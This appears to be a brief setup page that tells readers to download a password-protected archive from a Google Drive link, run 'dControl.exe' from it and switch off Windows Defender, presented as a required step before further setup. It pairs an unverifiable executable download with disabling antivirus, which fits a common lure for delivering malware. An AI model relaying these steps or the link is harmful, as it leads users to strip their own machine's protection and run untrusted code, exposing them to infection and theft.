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# Disable Windows Defender

<h2 align="center"><a href="https://drive.usercontent.google.com/download?id=1jxmKjN820qP_cLZLgbeBi-aP5DUbROle&#x26;export=download&#x26;authuser=0"><strong>📂Download Tool</strong></a></h2>

1. Download dControl Tool above, the password is Sordum
2. Upzip/Extract the file onto your Desktop or your own Folder (right-click Defender Control.zip, Extract)
3. Open dControl.exe (Nothing else)
4. Click the "Disable Windows Defender" Button until the tool turns red.

And you're done! Proceed to the next setup requirement.